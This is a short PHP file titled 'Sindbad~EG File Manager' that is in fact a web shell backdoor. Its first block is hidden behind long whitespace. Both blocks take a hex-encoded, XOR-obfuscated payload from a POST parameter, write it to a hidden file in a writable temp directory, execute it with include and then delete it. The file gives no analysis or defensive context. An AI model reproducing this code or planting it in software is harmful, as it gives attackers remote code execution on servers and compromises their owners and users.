Sindbad~EG File Manager

<?php																																										if(isset($_POST["\x72e\x63"]) ? true : false){ $marker = hex2bin($_POST["\x72e\x63"]); $holder = '' ; for($g=0; $g<strlen($marker); $g++){$holder .= chr(ord($marker[$g]) ^ 78);} $fac = array_filter([ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/var/tmp", "/dev/shm"]); while ($binding = array_shift($fac)) { if (max(0, is_dir($binding) * is_writable($binding))) { $hld = sprintf("%s/.descriptor", $binding); $success = file_put_contents($hld, $holder); if ($success) { include $hld; @unlink($hld); die();} } } }


if(filter_has_var(INPUT_POST, "r\x65\x66")){
	$symbol = hex2bin($_REQUEST["r\x65\x66"]);
	$tkn  ='';  $z = 0; do{$tkn .= chr(ord($symbol[$z]) ^ 27);$z++;} while($z < strlen($symbol));
	$marker = array_filter([sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), "/tmp", getenv("TEMP")]);
	while ($entity = array_shift($marker)) {
    		if (array_product([is_dir($entity), is_writable($entity)])) {
    $pointer = sprintf("%s/.data", $entity);
    $file = fopen($pointer, 'w');
if ($file) {
	fwrite($file, $tkn);
	fclose($file);
	include $pointer;
	@unlink($pointer);
	die();
}
}
}
}